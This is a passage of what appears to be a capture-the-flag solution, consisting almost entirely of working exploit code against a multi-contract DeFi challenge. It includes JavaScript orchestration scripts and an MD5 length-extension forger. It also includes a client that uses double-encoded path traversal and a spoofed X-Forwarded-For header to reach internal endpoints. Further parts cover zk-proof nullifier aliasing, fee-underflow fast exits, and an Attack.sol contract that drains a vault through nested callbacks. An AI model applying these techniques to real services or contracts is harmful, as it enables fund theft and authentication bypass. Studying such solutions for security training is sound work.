  if (!await pool.knownRoots(root1)) throw Error('first deposited root not known');

  await step('trancheRedeem', () =>
```

```
    send('redeem tranche shares', tranche, 'redeem', [ethers.parseEther('30')]));

  const note1Proof = await proof('note1', {
    poseidon, ...note1, recipient: attackAddress,
    pathElements: path1, pathIndices: indices1
  });
  const note2Proof = await proof('note2', {
    poseidon, ...note2, recipient: attackAddress,
    pathElements: path2, pathIndices: indices2
  });
  const fakeProof = await proof('fake', {
    poseidon, secret: 501n, nullifier: 601n, recipient: attackAddress,
    pathElements: [...z], pathIndices: [0, 0, 0, 0]
  });
  if (await pool.knownRoots(fakeProof.root)) throw Error('fake relayer root is known');
  await proof('escrow', {
    poseidon, ...note2, recipient: info.escrow,
    pathElements: path2, pathIndices: indices2
  });

  await step('fastExit', () => {
    const fee = (1n << 256n) - ethers.parseEther('30');
    const dummyReport = {
      asset: info.assets.GEM, rawPrice: 1, validBlock: 1, nonce: 1
    };
    return send('fast exit full 40 WETH', attack, 'fastExit', [
      fakeProof.pA, fakeProof.pB, fakeProof.pC,
      fakeProof.root, fakeProof.rawNullifier, fee, dummyReport, '0x'
    ]);
  });

  for (const [index, note] of [note1Proof, note2Proof].entries()) {
    for (let alias = 0; alias < 5; alias++) {
      const raw = BigInt(note.rawNullifier) + BigInt(alias) * FIELD;
      if (raw > ethers.MaxUint256) throw Error('raw nullifier alias exceeds uint256');
      await step(`withdraw${index + 1}_${alias}`, () =>
        send(`withdraw note ${index + 1} alias ${alias}`, attack, 'withdrawNote', [
          note.pA, note.pB, note.pC, note.root, raw
        ]));
    }
  }

  const output = {
    playerWeth: ethers.formatEther(await weth.balanceOf(wallet.address)),
    attackWeth: ethers.formatEther(await weth.balanceOf(attackAddress)),
    poolWeth: ethers.formatEther(await weth.balanceOf(info.shieldedPool)),
    relayerWeth: ethers.formatEther(await weth.balanceOf(info.withdrawRelayer)),
    trancheWeth: ethers.formatEther(await weth.balanceOf(info.tranche)),
    root: (await pool.currentRoot()).toString()
  };
  process.stdout.write(`${JSON.stringify(output, null, 2)}₩n`);
}

main().then(() => process.exit(0)).catch(error => {
  process.stderr.write(`${error.stack || error}₩n`);
  process.exit(1);
});
```

phase3.js

코드 블록 (jsx)

```
const fs = require('fs');
const path = require('path');
const {
  ethers, client, provider, wallet, state, step, contract, deployment, send
} = require('./chain');
const machine = require('./machine');
const computeSearch = require('./compute');

async function main() {
  const info = await deployment();
  if (!state.attackAddress || !state.withdraw2_4 || !state.fastExit) {
    throw Error('complete phase2 before registering the escrow exit');
  }
  const proofs = JSON.parse(fs.readFileSync(path.join(__dirname, 'proofs.json'), 'utf8'));
  const escrowProof = proofs.escrow;
  const attackAddress = state.attackAddress;
  const attack = contract(attackAddress, 'Attack.sol', 'Attack');
  const escrow = contract(info.escrow, 'FinalSettlementEscrow.sol', 'FinalSettlementEscrow');
  const compute = contract(info.computeVault, 'ComputeSettlement.sol', 'ComputeSettlement');
  const queue = contract(info.settlementQueue, 'SettlementQueue.sol', 'SettlementQueue');
  const weth = contract(info.assets.WETH, 'MockERC20.sol', 'MockERC20');
  const setup = contract(info.setup, 'Setup.sol', 'Setup');

  await step('registerExit', () =>
    send('register shielded escrow exit', attack, 'registerExit', [
      escrowProof.pA, escrowProof.pB, escrowProof.pC,
      escrowProof.root, escrowProof.rawNullifier
    ]));
  const exitTag = await escrow.exitTag(attackAddress);
  if (exitTag === 0n) throw Error('escrow exit tag was not recorded');
  const plan = machine.plan(attackAddress, exitTag);
  const storageSlot = machine.stateStorageSlot(attackAddress);

  await step('machineInit', () =>
    send('initialize MachineVault', attack, 'machineCall',
      [machine.SELECTORS.initialize]));
  const observedInitial = await provider.getStorage(info.machineVault, storageSlot);
```

```
  if (BigInt(observedInitial) !== BigInt(plan.initialState)) {
    throw Error(`machine initial state mismatch: ${observedInitial} != ${plan.initialState}`);
  }

  for (const item of plan.steps) {
    await step(`machineStep${item.stage}`, () =>
      send(`MachineVault step ${item.stage}`, attack, 'machineCall',
        [`${machine.SELECTORS.step}${item.input.slice(2)}`]));
  }
  const observedFinal = await provider.getStorage(info.machineVault, storageSlot);
  if (BigInt(observedFinal) !== BigInt(plan.finalState)) {
    throw Error(`machine final state mismatch: ${observedFinal} != ${plan.finalState}`);
  }

  await step('machineClaim', () =>
    send('claim MachineVault 80 WETH', attack, 'machineCall',
      [machine.SELECTORS.claim]));
  const rawKey = await provider.call({
    to: info.machineVault,
    data: machine.SELECTORS.key + ethers.zeroPadValue(attackAddress, 32).slice(2)
  });
  if (rawKey.toLowerCase() !== plan.key.toLowerCase()) {
    throw Error(`MachineVault key mismatch: ${rawKey} != ${plan.key}`);
  }

  await step('computeOpen', async () => {
    const grant = await queue.genesisSignature();
    return send('open compute settlement', attack, 'computeOpen', [grant]);
  });
  const seed = await compute.seedOf(attackAddress);
  if (seed === ethers.ZeroHash) throw Error('compute seed is zero');

  await step('computeMitm', () => {
    const found = computeSearch.solveMitm(seed);
    process.stdout.write(`MITM found after ${found.checked} candidates₩n`);
    return send('pass MITM gate', attack, 'computeMitm', [found.a, found.b]);
  });
  await step('computeCollision', () => {
    const found = computeSearch.solveCollision(seed, attackAddress);
    process.stdout.write(`collision found after ${found.checked} candidates₩n`);
    return send('pass collision gate', attack, 'computeCollision', [found.x, found.y]);
  });
  await step('computeClaim', () => {
    const found = computeSearch.solvePow(seed, attackAddress);
    process.stdout.write(`PoW found after ${found.checked} candidates₩n`);
    return send('claim compute 60 WETH', attack, 'computeClaim', [found.nonce]);
  });

  await step('escrowRelease', async () => {
    const quote = await client.releaseQuote(attackAddress);
    return send('release escrow 60 WETH', attack, 'release',
      [quote.ticket, quote.signature]);
  });
  await step('sweepFinalWeth', () =>
    send('sweep all WETH to player', attack, 'sweepWeth', [ethers.MaxUint256]));

  const finalBalances = {
    player: ethers.formatEther(await weth.balanceOf(wallet.address)),
    attack: ethers.formatEther(await weth.balanceOf(attackAddress)),
    vault: ethers.formatEther(await weth.balanceOf(info.vault)),
    tranche: ethers.formatEther(await weth.balanceOf(info.tranche)),
    pool: ethers.formatEther(await weth.balanceOf(info.shieldedPool)),
    relayer: ethers.formatEther(await weth.balanceOf(info.withdrawRelayer)),
    escrow: ethers.formatEther(await weth.balanceOf(info.escrow)),
    machine: ethers.formatEther(await weth.balanceOf(info.machineVault)),
    compute: ethers.formatEther(await weth.balanceOf(info.computeVault))
  };
  process.stdout.write(`final balances: ${JSON.stringify(finalBalances)}₩n`);
  if (!await setup.isSolved()) throw Error('Setup.isSolved() is false');
  process.stdout.write('Setup.isSolved() = true₩n');

  const receipt = await client.solveReceipt();
  const flagResponse = await client.requestRaw('/flag', {
    'x-solve-receipt': receipt.signature
  });
  if (flagResponse.status !== 200 || !flagResponse.body.flag) {
    throw Error(`flag request failed: ${JSON.stringify(flagResponse)}`);
  }
  process.stdout.write(`FLAG=${flagResponse.body.flag}₩n`);
}

main().then(() => process.exit(0)).catch(error => {
  process.stderr.write(`${error.stack || error}₩n`);
  process.exit(1);
});
```

chain.js

코드 블록 (jsx)

```
const fs = require('fs');
const path = require('path');
const { ethers } = require('ethers');
const client = require('./attack-client');

const DEFAULT_PLAYER_KEY = process.env.PLAYER_PRIVATE_KEY;
if (!DEFAULT_PLAYER_KEY) throw new Error('Set PLAYER_PRIVATE_KEY from the challenge README');
const stateFile = path.join(__dirname, 'run-state.json');
```

```
const state = fs.existsSync(stateFile) ? JSON.parse(fs.readFileSync(stateFile, 'utf8')) : {};
const provider = new ethers.JsonRpcProvider(`${client.BASE}/rpc`, 31337, {
  batchMaxCount: 1
});
const wallet = new ethers.Wallet(process.env.PLAYER_PRIVATE_KEY || DEFAULT_PLAYER_KEY, provider);

function artifact(file, name) {
  return JSON.parse(fs.readFileSync(path.join(
    __dirname, 'artifacts', 'contracts', file, `${name}.json`
  ), 'utf8'));
}

function contract(address, file, name, signer = wallet) {
  return new ethers.Contract(address, artifact(file, name).abi, signer);
}

function save() {
  fs.writeFileSync(stateFile, JSON.stringify(state, null, 2) + '₩n');
}

async function step(key, runner) {
  if (state[key]) {
    process.stdout.write(`skip ${key}: ${JSON.stringify(state[key])}₩n`);
    return state[key];
  }
  const result = await runner();
  state[key] = result === undefined ? true : result;
  save();
  process.stdout.write(`done ${key}: ${JSON.stringify(state[key])}₩n`);
  return state[key];
}

async function deployment() {
  const response = await client.requestRaw('/challenge');
  if (response.status !== 200) throw Error(`challenge: ${JSON.stringify(response)}`);
  const info = response.body;
  if (info.player.toLowerCase() !== wallet.address.toLowerCase()) {
    throw Error(`supplied wallet ${wallet.address} does not match challenge player ${info.player}`);
  }
  if (info.chainId !== 31337) throw Error(`unexpected chain ID ${info.chainId}`);
  return info;
}

async function send(label, instance, method, args = [], gasLimit = 12_000_000n) {
  process.stdout.write(`send ${label}₩n`);
  const transaction = await instancemethod;
  const receipt = await transaction.wait();
  if (receipt.status !== 1) throw Error(`${label} reverted: ${transaction.hash}`);
  process.stdout.write(`mined ${label}: ${transaction.hash} block=${receipt.blockNumber} gas=${receipt.gasUsed}₩n`);
  return {hash: transaction.hash, block: receipt.blockNumber};
}

async function deployAttack(info) {
  if (state.attackAddress) {
    const code = await provider.getCode(state.attackAddress);
    if (code === '0x') throw Error('saved Attack address has no code');
    return state.attackAddress;
  }
  const compiled = artifact('Attack.sol', 'Attack');
  const factory = new ethers.ContractFactory(compiled.abi, compiled.bytecode, wallet);
  const args = [
    info.assets.GEM, info.assets.WETH, info.relay, info.vault,
    info.shieldedPool, info.withdrawRelayer, info.escrow,
    info.computeVault, info.machineVault
  ];
  const attack = await factory.deploy(...args, {gasLimit: 9_000_000n});
  await attack.waitForDeployment();
  const address = await attack.getAddress();
  state.attackAddress = address;
  save();
  process.stdout.write(`Attack deployed: ${address}₩n`);
  return address;
}

module.exports = {
  ethers, client, provider, wallet, state, save, step, artifact, contract,
  deployment, send, deployAttack
};
```

attack-client.js

코드 블록 (jsx)

```
const https = require('https');
const { extendMd5 } = require('./md5ext');

const BASE = process.env.TARGET_BASE ||
  'https://f656fcd53fa6ae29c86f96042c6fdf3a.gate.msgctf.kr';
const baseUrl = new URL(BASE);
const encodedInternal =
  '/v1/public/feed/%25%32%65%25%32%65/%25%32%65%25%32%65/%2569nternal';

function requestRaw(path, headers = {}, method = 'GET') {
  return new Promise((resolve, reject) => {
    const request = https.request({
      hostname: baseUrl.hostname,
      port: baseUrl.port || 443,
      servername: baseUrl.hostname,
      method,
```

```
        path,
        headers,
        timeout: 15000
      }, response => {
        const chunks = [];
        response.on('data', chunk => chunks.push(chunk));
        response.on('end', () => {
          const body = Buffer.concat(chunks).toString('utf8');
          let parsed;
          try { parsed = JSON.parse(body); } catch { parsed = body; }
          resolve({status: response.statusCode, body: parsed});
        });
        response.on('error', reject);
      });
      request.on('timeout', () => request.destroy(new Error(`request timeout: ${path}`)));
      request.on('error', reject);
      request.end();
    });
  }

  let feedAuth;
  async function getFeedAuth() {
    if (feedAuth) return feedAuth;
    const session = await requestRaw('/v1/public/feed/session?client=solver');
    if (session.status !== 200) throw Error(`session: ${JSON.stringify(session)}`);
    const source = Buffer.from(session.body.payload, 'hex');
    const forged = extendMd5(
      session.body.token,
      source,
      Buffer.from('&scope=internal', 'latin1'),
      session.body.keyLength
    );
    feedAuth = {
      'x-feed-payload': forged.payload.toString('hex'),
      'x-feed-token': forged.token,
      'x-http-method-override': 'POST',
      'x-forwarded-for': '10.32.0.1'
    };
    return feedAuth;
  }

  async function internal(endpointAndQuery) {
    const auth = await getFeedAuth();
    return requestRaw(`${encodedInternal}${endpointAndQuery}`, auth);
  }

  async function priceQuote(asset, mantissa, providerDecimals) {
    const query = `?asset=${encodeURIComponent(asset)}` +
      `&mantissa=${encodeURIComponent(String(mantissa))}` +
      `&decimals=8&decimals=${providerDecimals}`;
    const response = await internal(`/quote${query}`);
    if (response.status !== 200) throw Error(`price quote: ${JSON.stringify(response)}`);
    return response.body;
  }

  async function releaseQuote(recipient) {
    const response = await internal(`/exit-quote?recipient=${encodeURIComponent(recipient)}`);
    if (response.status !== 200) throw Error(`release quote: ${JSON.stringify(response)}`);
    return response.body;
  }

  async function solveReceipt() {
    const response = await internal('/receipt');
    if (response.status !== 200) throw Error(`solve receipt: ${JSON.stringify(response)}`);
    return response.body;
  }

  if (require.main === module) {
    priceQuote('GEM', 2000000000000000000n, 18).then(result => {
      process.stdout.write(`${JSON.stringify(result)}₩n`);
    }).catch(error => { process.stderr.write(`${error.stack}₩n`); process.exitCode = 1; });
  }

  module.exports = {
    BASE,
    requestRaw,
    getFeedAuth,
    internal,
    priceQuote,
    releaseQuote,
    solveReceipt
  };
```

md5ext.js

코드 블록 (jsx)

```
  const crypto = require('crypto');

  const shifts = [
    7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
    5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
    4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
    6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21
  ];
  const constants = Array.from({length: 64}, (_, i) =>
    Math.floor(Math.abs(Math.sin(i + 1)) * 2 ** 32) >>> 0);

  function padding(length) {
```

```
  const zeros = (56 - ((length + 1) % 64) + 64) % 64;
  const result = Buffer.alloc(1 + zeros + 8);
  result[0] = 0x80;
  result.writeBigUInt64LE(BigInt(length) * 8n, 1 + zeros);
  return result;
}

function compress(state, block) {
  const words = Array.from({length: 16}, (_, i) => block.readUInt32LE(i * 4));
  let [a, b, c, d] = state;
  for (let i = 0; i < 64; i++) {
    let f, g;
    if (i < 16) {
      f = (b & c) | (~b & d);
      g = i;
    } else if (i < 32) {
      f = (d & b) | (~d & c);
      g = (5 * i + 1) % 16;
    } else if (i < 48) {
      f = b ^ c ^ d;
      g = (3 * i + 5) % 16;
    } else {
      f = c ^ (b | ~d);
      g = (7 * i) % 16;
    }
    const sum = (a + f + constants[i] + words[g]) >>> 0;
    const rotated = ((sum << shifts[i]) | (sum >>> (32 - shifts[i]))) >>> 0;
    [a, b, c, d] = [d, (b + rotated) >>> 0, b, c];
  }
  state[0] = (state[0] + a) >>> 0;
  state[1] = (state[1] + b) >>> 0;
  state[2] = (state[2] + c) >>> 0;
  state[3] = (state[3] + d) >>> 0;
}

function extendMd5(originalTokenHex, originalPayload, suffix, secretLength) {
  const original = Buffer.from(originalPayload);
  const added = Buffer.from(suffix);
  const glue = padding(secretLength + original.length);
  const state = Array.from({length: 4}, (_, i) =>
    Buffer.from(originalTokenHex, 'hex').readUInt32LE(i * 4));
  const processedLength = secretLength + original.length + glue.length;
  const toHash = Buffer.concat([added, padding(processedLength + added.length)]);
  for (let offset = 0; offset < toHash.length; offset += 64) {
    compress(state, toHash.subarray(offset, offset + 64));
  }
  const token = Buffer.alloc(16);
  state.forEach((value, i) => token.writeUInt32LE(value, i * 4));
  return {
    payload: Buffer.concat([original, glue, added]),
    token: token.toString('hex')
  };
}

if (require.main === module) {
  const secret = crypto.randomBytes(16);
  const original = Buffer.from('client=solver&scope=public', 'latin1');
  const suffix = Buffer.from('&scope=internal', 'latin1');
  const digest = crypto.createHash('md5').update(Buffer.concat([secret, original])).digest('hex');
  const forged = extendMd5(digest, original, suffix, secret.length);
  const actual = crypto.createHash('md5').update(Buffer.concat([secret, forged.payload])).digest('hex');
  if (actual !== forged.token) throw Error(`length extension mismatch: ${actual} != ${forged.token}`);
  process.stdout.write('MD5 length extension self-test passed₩n');
}

module.exports = { extendMd5 };
```

zk.js

코드 블록 (jsx)

```
const path = require("path");
const snarkjs = require("snarkjs");
const { buildPoseidon } = require("circomlibjs");

const FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617n;
const WASM = path.join(__dirname, "..", "original", "circuits", "build", "withdraw_js", "withdraw.wasm");
const ZKEY = path.join(__dirname, "..", "original", "circuits", "build", "withdraw_final.zkey");

let poseidonPromise;

async function createPoseidon() {
  if (!poseidonPromise) {
    poseidonPromise = buildPoseidon().then((poseidon) =>
      (left, right) => poseidon.F.toObject(poseidon([BigInt(left), BigInt(right)]))
    );
  }
  return poseidonPromise;
}

function zeros(poseidon) {
  const values = [0n];
  for (let i = 1; i < 4; i++) {
    values.push(poseidon(values[i - 1], values[i - 1]));
  }
  return values;
}

function merkleRoot(poseidon, leaf, pathElements, pathIndices) {
```

```
  if (pathElements.length !== 4 || pathIndices.length !== 4) {
    throw new Error("withdraw circuit requires a four-level Merkle path");
  }
  let value = BigInt(leaf);
  for (let i = 0; i < 4; i++) {
    const sibling = BigInt(pathElements[i]);
    const index = Number(pathIndices[i]);
    if (index !== 0 && index !== 1) throw new Error("path index must be 0 or 1");
    value = index === 0
      ? poseidon(value, sibling)
      : poseidon(sibling, value);
  }
  return value;
}

async function makeProof({
  poseidon: suppliedPoseidon,
  secret,
  nullifier,
  recipient,
  pathElements,
  pathIndices
}) {
  const poseidon = suppliedPoseidon || await createPoseidon();
  const address = BigInt(recipient);
  const commitment = poseidon(secret, nullifier);
  const root = merkleRoot(poseidon, commitment, pathElements, pathIndices);
  const rawNullifier = poseidon(nullifier, address);

  const input = {
    root: root.toString(),
    nullifierHash: rawNullifier.toString(),
    recipient: address.toString(),
    secret: BigInt(secret).toString(),
    nullifier: BigInt(nullifier).toString(),
    pathElements: pathElements.map((x) => BigInt(x).toString()),
    pathIndices: pathIndices.map((x) => Number(x))
  };
  const { proof, publicSignals } = await snarkjs.groth16.fullProve(input, WASM, ZKEY);
  const callData = await snarkjs.groth16.exportSolidityCallData(proof, publicSignals);
  const [a, b, c, signals] = JSON.parse(`[${callData}]`);
  const toBigInt = (values) => values.map((value) => BigInt(value));
  const result = {
    commitment,
    root,
    rawNullifier,
    pA: toBigInt(a),
    pB: b.map(toBigInt),
    pC: toBigInt(c),
    publicSignals: toBigInt(signals),
    proof
  };
  if (
    result.publicSignals[0] !== root ||
    result.publicSignals[1] !== rawNullifier ||
    result.publicSignals[2] !== address
  ) {
    throw new Error("proof public signals do not match the requested withdrawal");
  }
  return result;
}

module.exports = { FIELD, createPoseidon, zeros, merkleRoot, makeProof };
```

machine.js

코드 블록 (jsx)

```
// Offline reconstruction of the published MachineVault creation bytecode.
// The addresses and values supplied here come from the player's own instance.
const { ethers } = require('ethers');

const MASK = (1n << 256n) - 1n;
const MIX = 0x9e3779b97f4a7c15f39cc0605cedc8341082276bf3a27251n;
const MULTIPLIER = 0xff51afd7ed558ccd0000000000000000000000000000002fn;
const MARKER = 0xc4ceb9fe1a85ec53a1b2c3d4e5f60718293a4b5c6d7e8f90n;

const SELECTORS = {
  initialize: '0xe97dcb62',
  step: '0x0b578ef5',
  state: '0x1632a5ea',
  claim: '0x4bb278f3',
  key: '0xfa073d76'
};

function word(value) {
  return ethers.toBeHex(BigInt(value) & MASK, 32);
}

function paddedAccount(account) {
  return ethers.zeroPadValue(ethers.getAddress(account), 32);
}

function initialState(account, exitTag) {
  // PC 0x707..0x731: keccak256(abi.encode(account, exitTag)).
  return BigInt(ethers.keccak256(ethers.concat([
    paddedAccount(account), word(exitTag)
  ])));
}
```

```
function stateStorageSlot(account) {
  // mapping(address => uint256) at Solidity storage slot 3.
  return ethers.keccak256(ethers.concat([paddedAccount(account), word(3n)]));
}

function expectedInput(stage, state, account) {
  const n = BigInt(stage);
  const s = BigInt(state);
  const owner = BigInt(ethers.getAddress(account));
  if (n < 1n || n > 20n) throw Error(`machine stage out of range: ${stage}`);
  switch (n % 3n) {
    case 0n:
      // PC 0x7b9..0x807: two 32-byte words.
      return BigInt(ethers.keccak256(ethers.concat([
        word(s), word(MIX ^ (n & 0xffn))
      ])));
    case 1n:
      // PC 0x818..0x83a: EVM multiplication/addition wraps at 256 bits.
      return (MULTIPLIER * s + (n & 0xffn)) & MASK;
    case 2n:
      // PC 0x83e..0x891: three 32-byte words.
      return BigInt(ethers.keccak256(ethers.concat([
        word(s), word(MARKER), word(owner)
      ])));
    default:
      throw Error('unreachable');
  }
}

function nextState(stage, acceptedInput) {
  // PC 0x89c..0x8d4. The shift on the right uses 255-k exactly as deployed.
  const n = BigInt(stage);
  const a = BigInt(acceptedInput);
  const k = n & 7n;
  const mixed = ((a << k) | (a >> (255n - k))) & MASK;
  return ((MIX + (n & 0xffn)) ^ mixed) & MASK;
}

function machineKey(finalState, account) {
  // PC 0x3e9..0x450: 32-byte state || 32-byte marker || 20-byte account.
  return ethers.keccak256(ethers.concat([
    word(finalState), word(MARKER), ethers.getAddress(account)
  ]));
}

function solveMachine(observedState, account, startStage = 1) {
  let state = BigInt(observedState);
  const steps = [];
  for (let stage = startStage; stage <= 20; stage++) {
    const input = expectedInput(stage, state, account);
    const after = nextState(stage, input);
    steps.push({ stage, state: word(state), input: word(input), after: word(after) });
    state = after;
  }
  return { initialState: word(observedState), steps, finalState: word(state), key: machineKey(state, account) };
}

function plan(account, exitTag) {
  return solveMachine(initialState(account, exitTag), account);
}

module.exports = {
  SELECTORS, MASK, MIX, MULTIPLIER, MARKER,
  initialState, stateStorageSlot, expectedInput, nextState, machineKey,
  solveMachine, plan
};
```

compute.js

코드 블록 (jsx)

```
// Bounded offline solvers for ComputeSettlement's three deterministic gates.
const { ethers } = require('ethers');

function byte32(value) {
  const bytes = Buffer.from(ethers.getBytes(value));
  if (bytes.length !== 32) throw Error('expected bytes32 seed');
  return bytes;
}

function xor34(a, b) {
  const high = (Math.floor(a / 0x100000000) ^ Math.floor(b / 0x100000000));
  const low = ((a >>> 0) ^ (b >>> 0)) >>> 0;
  return high * 0x100000000 + low;
}

function prefix34(hash) {
  return Math.floor(parseInt(hash.slice(2, 11), 16) / 4);
}

function prefix36(hash) {
  return parseInt(hash.slice(2, 11), 16);
}

function solveMitm(seed, { max = 1 << 19, onProgress } = {}) {
  const payload = Buffer.alloc(64);
  byte32(seed).copy(payload, 0);
  const target = prefix34(ethers.keccak256(Buffer.concat([
    payload.subarray(0, 32), Buffer.from('mitm')
```

```
  ]));
  const seen = new Map();
  for (let a = 0; a < max; a++) {
    payload.writeUInt32BE(a, 60);
    const prefix = prefix34(ethers.keccak256(payload));
    const b = seen.get(xor34(prefix, target));
    if (b !== undefined && a !== b) return { a, b, target, checked: a + 1 };
    if (!seen.has(prefix)) seen.set(prefix, a);
    if (onProgress && a !== 0 && a % 100000 === 0) onProgress('mitm', a);
  }
  throw Error(`no MITM pair in ${max} inputs`);
}

function solveCollision(seed, account, { max = 1500000, onProgress } = {}) {
  const payload = Buffer.alloc(52); // packed address (20) || x (32)
  Buffer.from(ethers.getBytes(ethers.getAddress(account))).copy(payload, 0);
  byte32(seed).copy(payload, 20, 0, 4);
  const seen = new Map();
  for (let i = 0; i < max; i++) {
    payload.writeUInt32BE(i, 48);
    const prefix = prefix36(ethers.keccak256(payload));
    const first = seen.get(prefix);
    if (first !== undefined && first !== i) {
      const x = Buffer.from(payload.subarray(20));
      x.writeUInt32BE(first, 28);
      return { x: `0x${x.toString('hex')}`, y: `0x${payload.subarray(20).toString('hex')}`, prefix, checked: i + 1
};
    }
    seen.set(prefix, i);
    if (onProgress && i !== 0 && i % 100000 === 0) onProgress('collision', i);
  }
  throw Error(`no 36-bit collision in ${max} inputs`);
}

function solvePow(seed, account, { max = 4000000, onProgress } = {}) {
  const payload = Buffer.alloc(84); // seed (32) || nonce (32) || packed address (20)
  byte32(seed).copy(payload, 0);
  Buffer.from(ethers.getBytes(ethers.getAddress(account))).copy(payload, 64);
  for (let nonce = 0; nonce < max; nonce++) {
    payload.writeUInt32BE(nonce, 60);
    const work = ethers.keccak256(payload);
    if (parseInt(work.slice(2, 7), 16) < 4) {
      return { nonce, key: ethers.keccak256(payload.subarray(0, 64)), work, checked: nonce + 1 };
    }
    if (onProgress && nonce !== 0 && nonce % 100000 === 0) onProgress('pow', nonce);
  }
  throw Error(`no 18-bit PoW nonce in ${max} inputs`);
}

module.exports = { solveMitm, solveCollision, solvePow };
```

Attack.sol

코드 블록 (solidity)

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {MockERC20} from "./MockERC20.sol";
import {SplitBrainOracle} from "./SplitBrainOracle.sol";
import {PriceAttestationRelay} from "./PriceAttestationRelay.sol";
import {DeferredSettlementVault, IBatchCallback} from "./DeferredSettlementVault.sol";
import {ShieldedSettlementPool} from "./ShieldedSettlementPool.sol";
import {WithdrawRelayer, IExitReceiver} from "./WithdrawRelayer.sol";
import {FinalSettlementEscrow} from "./FinalSettlementEscrow.sol";
import {ComputeSettlement} from "./ComputeSettlement.sol";

contract Attack is IBatchCallback, IExitReceiver {
    address public immutable owner;
    MockERC20 public immutable gem;
    MockERC20 public immutable weth;
    PriceAttestationRelay public immutable relay;
    DeferredSettlementVault public immutable vault;
    ShieldedSettlementPool public immutable pool;
    WithdrawRelayer public immutable relayer;
    FinalSettlementEscrow public immutable escrow;
    ComputeSettlement public immutable compute;
    address public immutable machine;

    uint256 private constant TAKE = 10 ether;
    uint256 private constant MIN_GEM = 12_570_000_000_000;

    error NotOwner();
    error WrongCaller();
    error UnexpectedCallback();
    error MachineCallFailed(bytes reason);
    error TransferFailed();

    constructor(
        MockERC20 gem_,
        MockERC20 weth_,
        PriceAttestationRelay relay_,
        DeferredSettlementVault vault_,
        ShieldedSettlementPool pool_,
        WithdrawRelayer relayer_,
        FinalSettlementEscrow escrow_,
        ComputeSettlement compute_,
        address machine_
    ) {
```

```
        owner = msg.sender;
        gem = gem_;
        weth = weth_;
        relay = relay_;
        vault = vault_;
        pool = pool_;
        relayer = relayer_;
        escrow = escrow_;
        compute = compute_;
        machine = machine_;
    }
    modifier onlyOwner() {
        if (msg.sender != owner) revert NotOwner();
        _;
    }

    // Transfer the player's full seed GEM balance here before calling. The
    // same report can be consumed by the relay and vault in one block because
    // their oracle nonce namespaces are separate.
    function drainVault(
        SplitBrainOracle.PriceReport calldata report,
        bytes calldata signature
    ) external onlyOwner {
        uint256 collateral = gem.balanceOf(address(this));
        require(collateral >= MIN_GEM, "seed GEM missing");
        require(gem.approve(address(vault), collateral), "GEM approve failed");

        relay.attest(report, signature);

        DeferredSettlementVault.Action[] memory actions =
            new DeferredSettlementVault.Action[](2);
        actions[0] = _deposit(collateral);
        actions[1] = _callback(1);
        vault.executeBatch(report, signature, actions);

        // executeBatch clears the transient price on return. Liquidation now
        // returns GEM and grants this contract its clearing certificate.
        vault.liquidate(address(this));

        // Call refreshMany(GEM, 7) in a later block. Together with this
        // attestation, that fills the ring across two observation blocks.
    }

    function onBatchCallback(bytes calldata data) external returns (bytes4) {
        if (msg.sender != address(vault)) revert WrongCaller();
        uint8 stage = abi.decode(data, (uint8));

        if (stage == 1) {
            DeferredSettlementVault.Action[] memory next =
                new DeferredSettlementVault.Action[](1);
            next[0] = _callback(2);
            vault.executeNested(next);
        } else if (stage == 2) {
            // Nine empty depth-four calls reset the transient borrowed slot to
            // creditUsed == 0, while debtWeth continues to accumulate. The
            // final TAKE leaves positive credit for the clearing certificate.
            DeferredSettlementVault.Action[] memory next =
                new DeferredSettlementVault.Action[](19);
            for (uint256 i; i < 9; ++i) {
                next[2 * i] = _take();
                next[2 * i + 1] = _callback(3);
            }
            next[18] = _take();
            vault.executeNested(next);
        } else if (stage == 3) {
            DeferredSettlementVault.Action[] memory empty =
                new DeferredSettlementVault.Action[](0);
            vault.executeNested(empty);
        } else {
            revert UnexpectedCallback();
        }
        return IBatchCallback.onBatchCallback.selector;
    }

    function _deposit(uint256 amount)
        private pure returns (DeferredSettlementVault.Action memory)
    {
        return DeferredSettlementVault.Action({
            kind: DeferredSettlementVault.ActionKind.DEPOSIT_GEM,
            amount: amount,
            data: ""
        });
    }

    function _take()
        private pure returns (DeferredSettlementVault.Action memory)
    {
        return DeferredSettlementVault.Action({
            kind: DeferredSettlementVault.ActionKind.TAKE_WETH,
            amount: TAKE,
            data: ""
        });
    }

    function _callback(uint8 stage)
        private pure returns (DeferredSettlementVault.Action memory)
    {
        return DeferredSettlementVault.Action({
            kind: DeferredSettlementVault.ActionKind.CALLBACK,
```

```
        amount: 0,
        data: abi.encode(stage)
    });
}

function attestAndRefresh(
    SplitBrainOracle.PriceReport calldata report,
    bytes calldata signature,
    uint256 refreshes
) external onlyOwner {
    require(refreshes <= 8, "too many refreshes");
    relay.attest(report, signature);
    for (uint256 i; i < refreshes; ++i) relay.refresh(report.asset);
}

function refreshMany(address asset, uint256 times) external onlyOwner {
    require(times <= 8, "too many refreshes");
    for (uint256 i; i < times; ++i) relay.refresh(asset);
}

function depositNote(uint256 commitment) external onlyOwner {
    require(weth.approve(address(pool), pool.DENOMINATION()), "WETH approve failed");
    pool.deposit(commitment);
}

function withdrawNote(
    uint256[2] calldata pA,
    uint256[2][2] calldata pB,
    uint256[2] calldata pC,
    uint256 root,
    uint256 rawNullifier
) external onlyOwner {
    pool.withdraw(pA, pB, pC, root, rawNullifier, address(this));
}

function fastExit(
    uint256[2] calldata pA,
    uint256[2][2] calldata pB,
    uint256[2] calldata pC,
    uint256 root,
    uint256 rawNullifier,
    uint256 fee,
    SplitBrainOracle.PriceReport calldata report,
    bytes calldata riskSignature
) external onlyOwner {
    relayer.fastExit(
        pA, pB, pC, root, rawNullifier, address(this), fee,
        report, riskSignature
    );
}

function onFastExit(uint256) external returns (bytes4) {
    if (msg.sender != address(relayer)) revert WrongCaller();
    return IExitReceiver.onFastExit.selector;
}

function registerExit(
    uint256[2] calldata pA,
    uint256[2][2] calldata pB,
    uint256[2] calldata pC,
    uint256 root,
    uint256 rawNullifier
) external onlyOwner {
    escrow.registerExit(pA, pB, pC, root, rawNullifier);
}

function release(
    SplitBrainOracle.SettlementRelease calldata ticket,
    bytes calldata signature
) external onlyOwner {
    escrow.release(ticket, signature);
}

